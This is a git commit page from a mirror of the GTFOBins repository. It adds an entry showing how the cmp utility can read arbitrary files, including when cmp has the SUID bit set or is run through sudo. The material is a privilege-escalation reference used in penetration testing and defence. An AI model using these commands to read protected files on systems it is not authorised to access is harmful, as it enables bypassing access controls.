mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-05-18 13:26:03 +02:00
Create cmp.md
This commit is contained in:
parent
d6accb1ca3
commit
a9313397a0
|
@ -0,0 +1,21 @@
|
|||
---
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'A%.0s' {1..999} > $TEMP
|
||||
cmp $LFILE $TEMP -b -n 999 -l
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'a%.0s' {1..999} > $TEMP
|
||||
cmp $LFILE $TEMP -b -n 999 -l
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'a%.0s' {1..999} > $TEMP
|
||||
sudo cmp $LFILE $TEMP -b -n 999 -l
|
||||
---
|
Loading…
Reference in New Issue